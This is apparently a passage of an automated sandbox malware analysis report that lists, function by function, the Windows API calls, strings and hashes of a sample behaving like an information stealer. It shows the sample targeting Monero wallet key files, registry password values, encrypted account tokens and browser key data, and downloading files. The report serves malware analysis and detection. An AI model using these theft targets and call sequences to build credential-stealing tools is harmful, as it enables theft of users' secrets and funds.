StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00955318
lstrlen.KERNEL32(00000000), ref: 0095532F

Part of subcall function 00958E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00958E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00955364
lstrlen.KERNEL32(00000000), ref: 00955383
lstrlen.KERNEL32(00000000), ref: 009553AE

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Strings

ERROR, xrefs: 009554A9
ERROR, xrefs: 0095546F
ERROR, xrefs: 009553B9
ERROR, xrefs: 0095530A
ERROR, xrefs: 00955432

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 89ce8fb429612ff840051366df55e3dac553c73f8e2ac5a2851fdb46c8fee658
Instruction ID: c2fd135832ac4fc58ba92298854e1fc7e964eb32653ca505c4fe4472a5df291a
Opcode Fuzzy Hash: 89ce8fb429612ff840051366df55e3dac553c73f8e2ac5a2851fdb46c8fee658
Instruction Fuzzy Hash: A3510C309101489BDB18FF61CD96BED7779AF90302F504118FD065B5A2EF346B4ACBAA

Function 009512D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 7e5c52cbcfd162efc6ee8dbbd8a1267982fdfc504cd124acee93162fc96aa9d8
Instruction ID: c7e5668dd1d30d56334e18189f219641d3f2e7e37a9e00689970601cb4513d19
Opcode Fuzzy Hash: 7e5c52cbcfd162efc6ee8dbbd8a1267982fdfc504cd124acee93162fc96aa9d8
Instruction Fuzzy Hash: 39C1D8B59002099BCB14EF61DC89FEE7378BF94305F004599F90A67291EF70AA89CF95

Function 00954280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00958DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00958E0B

lstrcat.KERNEL32(?,00000000), ref: 009542EC
lstrcat.KERNEL32(?,015EDE68), ref: 0095430B
lstrcat.KERNEL32(?,?), ref: 0095431F
lstrcat.KERNEL32(?,015ECE40), ref: 00954333

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 00958D90: GetFileAttributesA.KERNEL32(00000000,?,00941B54,?,?,0096564C,?,?,00960E1F), ref: 00958D9F

Part of subcall function 00949CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00949D39

Part of subcall function 009499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009499EC
Part of subcall function 009499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00949A11
Part of subcall function 009499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00949A31
Part of subcall function 009499C0: ReadFile.KERNEL32(000000FF,?,00000000,0094148F,00000000), ref: 00949A5A
Part of subcall function 009499C0: LocalFree.KERNEL32(0094148F), ref: 00949A90
Part of subcall function 009499C0: CloseHandle.KERNEL32(000000FF), ref: 00949A9A

Part of subcall function 009593C0: GlobalAlloc.KERNEL32(00000000,009543DD,009543DD), ref: 009593D3

StrStrA.SHLWAPI(?,015EDEB0), ref: 009543F3
GlobalFree.KERNEL32(?), ref: 00954512

Part of subcall function 00949AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949AEF
Part of subcall function 00949AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00944EEE,00000000,?), ref: 00949B01
Part of subcall function 00949AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00944EEE,00000000,00000000), ref: 00949B2A
Part of subcall function 00949AC0: LocalFree.KERNEL32(?,?,?,?,00944EEE,00000000,?), ref: 00949B3F

lstrcat.KERNEL32(?,00000000), ref: 009544A3
StrCmpCA.SHLWAPI(?,009608D1), ref: 009544C0
lstrcat.KERNEL32(00000000,00000000), ref: 009544D2
lstrcat.KERNEL32(00000000,?), ref: 009544E5
lstrcat.KERNEL32(00000000,00960FB8), ref: 009544F4

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 260e599b7cb8de9bac6966414da17514dda595392be7a99fbd51677d5c337d97
Instruction ID: 4d714e2efc3a2915f53a9af3253f9e1978087c302bf16d16499037e45e025a86
Opcode Fuzzy Hash: 260e599b7cb8de9bac6966414da17514dda595392be7a99fbd51677d5c337d97
Instruction Fuzzy Hash: B87167B6900208ABDB14EBB0DC85FEE737DAB88301F004599F605A7191EE34DB49CFA1

Function 00941310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009412A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009412B4
Part of subcall function 009412A0: RtlAllocateHeap.NTDLL(00000000), ref: 009412BB
Part of subcall function 009412A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009412D7
Part of subcall function 009412A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009412F5
Part of subcall function 009412A0: RegCloseKey.ADVAPI32(?), ref: 009412FF

lstrcat.KERNEL32(?,00000000), ref: 0094134F
lstrlen.KERNEL32(?), ref: 0094135C
lstrcat.KERNEL32(?,.keys), ref: 00941377

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 00958B60: GetSystemTime.KERNEL32(00960E1A,015E9D28,009605AE,?,?,009413F9,?,0000001A,00960E1A,00000000,?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 00958B86

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00941465

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009499EC
Part of subcall function 009499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00949A11
Part of subcall function 009499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00949A31
Part of subcall function 009499C0: ReadFile.KERNEL32(000000FF,?,00000000,0094148F,00000000), ref: 00949A5A
Part of subcall function 009499C0: LocalFree.KERNEL32(0094148F), ref: 00949A90
Part of subcall function 009499C0: CloseHandle.KERNEL32(000000FF), ref: 00949A9A

DeleteFileA.KERNEL32(00000000), ref: 009414EF

Strings

\Monero\wallet.keys, xrefs: 0094138D
.keys, xrefs: 0094136B
SOFTWARE\monero-project\monero-core, xrefs: 00941335
wallet_path, xrefs: 00941330

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: f59920b106a173fed370a540e6121113615555b1e2b5888dcb7efd97f0f8dd3c
Instruction ID: 67b38b1b9bef7dac3221fbd02abd080380395a0179c457906157a21b28fff4ce
Opcode Fuzzy Hash: f59920b106a173fed370a540e6121113615555b1e2b5888dcb7efd97f0f8dd3c
Instruction Fuzzy Hash: 605146B1D5011957CB15FB61DD92FED733CAF94301F404298B60A62091EE346B8DCFAA

Function 009475D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009472D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0094733A
Part of subcall function 009472D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009473B1
Part of subcall function 009472D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0094740D
Part of subcall function 009472D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00947452
Part of subcall function 009472D0: HeapFree.KERNEL32(00000000), ref: 00947459

lstrcat.KERNEL32(00000000,009617FC), ref: 00947606
lstrcat.KERNEL32(00000000,00000000), ref: 00947648
lstrcat.KERNEL32(00000000, : ), ref: 0094765A
lstrcat.KERNEL32(00000000,00000000), ref: 0094768F
lstrcat.KERNEL32(00000000,00961804), ref: 009476A0
lstrcat.KERNEL32(00000000,00000000), ref: 009476D3
lstrcat.KERNEL32(00000000,00961808), ref: 009476ED
task.LIBCPMTD ref: 009476FB

Strings

: , xrefs: 0094764E

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f2906ed3f7b199a37f13284251a9dc1ad1767ef6dd5c94b540d0d5c79259a6b5
Instruction ID: e485f15f8fff3e936665d917b826eda8acba727c94f2776a08e09e31f4fae675
Opcode Fuzzy Hash: f2906ed3f7b199a37f13284251a9dc1ad1767ef6dd5c94b540d0d5c79259a6b5
Instruction Fuzzy Hash: 83314B71900109DBDB04EBE4DC85EEF7379BB89701B144519F102A72A1EF34A946CB62

Function 009460A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00944839
Part of subcall function 009447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00944849

InternetOpenA.WININET(00960DF7,00000001,00000000,00000000,00000000), ref: 0094610F
StrCmpCA.SHLWAPI(?,015EE590), ref: 00946147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0094618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009461B3
InternetReadFile.WININET(?,?,00000400,?), ref: 009461DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0094620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00946249
InternetCloseHandle.WININET(?), ref: 00946253
InternetCloseHandle.WININET(00000000), ref: 00946260

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: bf32fed0ec004b03e6e79da7941499ea375ae1705e7ced5542430eca6732adaf
Instruction ID: e5b7efde2e318d082ad448b8290de54fe42fd725c3c885c3a34f76610548591b
Opcode Fuzzy Hash: bf32fed0ec004b03e6e79da7941499ea375ae1705e7ced5542430eca6732adaf
Instruction Fuzzy Hash: 5E5170B1900218ABEB20DFA0DC45FEE77B8FB44701F108599B605A71D1DBB46E89CF96

Function 009472D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0094733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009473B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0094740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00947452
HeapFree.KERNEL32(00000000), ref: 00947459
task.LIBCPMTD ref: 00947555

Strings

Password, xrefs: 00947401

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b4258d09b90794c749f6a3e57399fa13bbb00124b4d8f1d581e39669e7e8b16d
Instruction ID: 9731b12e4086ae57804c57c80ad53572ef5eb70857fe3be648c6d17f8ca7f038
Opcode Fuzzy Hash: b4258d09b90794c749f6a3e57399fa13bbb00124b4d8f1d581e39669e7e8b16d
Instruction Fuzzy Hash: 046119B591426C9BDB24DB50CC55FEAB7B8BF88300F0085E9E649A6141DBB05BC9CFA1

Function 0094BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

lstrlen.KERNEL32(00000000), ref: 0094BC9F

Part of subcall function 00958E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00958E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0094BCCD
lstrlen.KERNEL32(00000000), ref: 0094BDA5
lstrlen.KERNEL32(00000000), ref: 0094BDB9

Strings

AccountTokens, xrefs: 0094BB49
AccountTokens, xrefs: 0094BABA
AccountId, xrefs: 0094BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0094BBEB

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 28e11473b8019a874cbb81ad372297c3fbc83fcd01fa83997c50b93d5e7d75f3
Instruction ID: 2db118deb4910516b37c8f39ea040fd7176de19e09cc400df7d7d54878480cf4
Opcode Fuzzy Hash: 28e11473b8019a874cbb81ad372297c3fbc83fcd01fa83997c50b93d5e7d75f3
Instruction Fuzzy Hash: D0B13E719101189BDB04FBA1DC96FEE7338BF94301F444259F906A71A1EF346A4DCBAA

Function 00956770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00956774
ExitProcess.KERNEL32 ref: 009567A5
ExitProcess.KERNEL32 ref: 009567AF
ExitProcess.KERNEL32 ref: 009567B9
ExitProcess.KERNEL32 ref: 009567C3
ExitProcess.KERNEL32 ref: 009567CD

Strings

*, xrefs: 0095678C

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
